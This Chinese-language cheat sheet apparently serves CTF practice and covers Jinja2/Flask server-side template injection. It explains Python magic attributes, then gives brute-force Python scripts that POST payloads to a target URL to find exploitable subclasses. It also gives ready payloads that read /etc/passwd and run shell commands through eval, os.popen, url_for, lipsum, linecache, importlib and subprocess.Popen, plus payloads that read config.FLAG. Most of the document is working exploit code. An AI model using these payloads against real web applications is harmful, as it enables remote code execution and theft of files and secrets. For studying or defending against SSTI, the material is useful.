分类很好的一篇文章
Jinja2模板语法
Jinja2里常见的三种定界符:
- (1) 语句 {% ... %}
- (2) 表达式 {{ ... }}
- (3) 注释 {# ... #}
{%set a='dazhaung'%} 语句设置变量
{{a}} 表达式
{% if 2>1 %}控制语句以{%endif%}结尾
Jinja2支持使用“.”获取变量的属性,比如user字典中的username键值通过“.”获取,即user.username 等同于 user['username']。
python 类的基础知识
所有类的最终父类都是object,漏洞是通过找到父类下的执行函数命令执行
魔法方法
__class__ 查找当前类型的所属对象
__base__ 沿着父子类的关系往上走一个
__mro__ 查找当前类对象的所有继承类
__subclasses__() 查找父类下的所有子类
__init__ 查看类是否重载,重载实质程序运行是就已经加载好了这个模块到内存中,如果出现wrapper,说明没有重载
__globals__ 函数会以字典形式返回当前对象的全部全局变量
__builtins__提供对python的所有内置标识符的直接访问
eval计算字符串表达式的值
popen()执行一个shell以运行命令
一、文件读取 多配合pin码
step1:脚本读取 _frozen_importlib_external.FileLoader
import requests
url = input('请输入 URL : ')
for i in range(500):
data = {"name": "{{().__class__.__base__.__subclasses__()[" + str(i) + "]}}"}
response = requests.post(url, data=data)
if response.status_code == 200:
if '_frozen_importlib_external.FileLoader' in response.text:
print(i)
step2: 直接利用其 get_data() 函数即可。
get_data() 利用时第一个参数为 0 ,第二个参数为文件路径即可。
0:这是一个参数,表示要加载的文件的模块名称。在这里,0 表示没有特定的模块名称,而是直接指定文件路径。
name={{().__class__.__base__.__subclasses__()[79]["get_data"](0,"/etc/passwd")}}
二、RCE 远程代码执行
1. 利用含有内建函数eval的__builtins__
模块执行命令
内建函数:python 在执行脚本时自动加载的函数,可通过 __builtins__
进行直接访问
step1: 脚本查找首可以利用内建函数 eval 的模块:
import requests
url = input("请输入 URL:")
for i in range(500):
# payload 中需要先初始化再列出所有全局变量
data = {"name": "{{().__class__.__base__.__subclasses__()["+str(i)+"].__init__.__globals__['__builtins__']}}"}
response = requests.post(url, data=data)
if response.status_code == 200:
if "eval" in response.text:
print(i)
step2: 利用内建函数 __builtins__寻找eval() 和 popen() 或者file 执行系统命令
利用内嵌函数eval进行命令执行
name={{().__class__.__base__.__subclasses__()[66].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("whoami").read()')}}
利用file函数进行读取
{{''.__class__.__mro__[2].__subclasses__()[xx].__init__.__globals__['__builtins__']['file']('/etc/passwd').read()}}
2. os 模块执行系统命令 hackbar里边都有
2.1 在 flask 其他函数中直接调用 os 模块(flask 内嵌)
- 通过 config
-
{{config.__class__.__init__.__globals__['os'].popen('whoami').read()}}
- 通过 url_for()
{{url_for.__globals__.os.popen('ls').read()}}
等价于
{{url_for.__globals__['os'].popen('ls').read()}}
注意区别 os是__globals__中的一个模块,可以用字典引用,而popen('ls')中ls是参数不能用 .ls替换
- 通过 lipsum()
{{lipsum.__globals__.os.popen('cat flag').read()}}
2.2 在已经加载 os 模块的子类里直接调用 os 模块
(1)寻找含有 os 模块的类
step1: 脚本查找含有os的类
老规矩,先用脚本查找哪些子类已经加载 os 模块
import requests
url = input("请输入 URL:")
for i in range(500):
data = {"name": "{{().__class__.__base__.__subclasses__()[" + str(i) + "].__init__.__globals__}}"}
response = requests.post(url, data=data)
if response.status_code == 200:
if "os.py" in response.text:
print(i)
step2: 构造 payload
{{''.__class__.__bases__[0].__subclasses__()[199].__init__.__globals__['os'].popen("ls -l /opt").read()}}
(2) linecache 函数执行命令
linecache 函数用于读取一个文件的某一行。这个函数加载了 os 模块,因此可以用来执行命令。
import requests
url = input("请输入 URL:")
for i in range(500):
data = {"name": "{{().__class__.__base__.__subclasses__()[" + str(i) + "].__init__.__globals__}}"}
response = requests.post(url, data=data)
if response.status_code == 200:
if "linecache" in response.text:
print(i)
{{().__class__.__base__.__subclasses__()[191].__init__.__globals__["linecache"]["os"].popen("ls -l /").read()}}
# 等价于
{{().__class__.__base__.__subclasses__()[191].__init__.__globals__["linecache"].os.popen("ls -l /").read()}}
3.其他
读取配置文件中的FLAG
{{url_for.__globals__['current_app'].config.FLAG}}
{{get_flashed_messages.__globals__['current_app'].config.FLAG}}
利用warnings.catch_warnings 进行命令执行
[c for c in ().__class__.__base__.__subclasses__() if c.__name__ == 'catch_warnings'][0]()._module.__builtins__['__import__']('os').popen('whoami').read()
4.寻找类加载os的类来执行os
(1)importlib 类执行命令
可使用该类的 load_module 方法加载 os 模块。
import requests
url = input("请输入 URL:")
for i in range(500):
data = {"name": "{{().__class__.__base__.__subclasses__()[" + str(i) + "]}}"}
response = requests.post(url, data=data)
if response.status_code == 200:
if "_frozen_importlib.BuiltinImporter" in response.text:
print(i)
step2: 构造 payload
{{''.__class__.__base__.__subclasses__()[69]["load_module"]("os")["popen"]("ls -l /opt").read()}}
注意这里的('os')是一个参数,意思是加餐os模块,不能用['os']或者.os.替换
(2) subprocess.Popen 类执行命令
subprocess 模块允许你生成新的进程,连接它们的输入、输出、错误管道,并且获取它们的返回码。此模块打算代替一些老旧的模块与功能:os.system os.spawn
import requests
url = input("请输入 URL:")
for i in range(500):
data = {"name": "{{().__class__.__base__.__subclasses__()[" + str(i) + "]}}"}
response = requests.post(url, data=data)
if response.status_code == 200:
if "subprocess.Popen" in response.text:
print(i)
{{''.__class__.__base__.__subclasses__()[200]('ls /',shell=True,stdout=-1).communicate()[0].strip()}}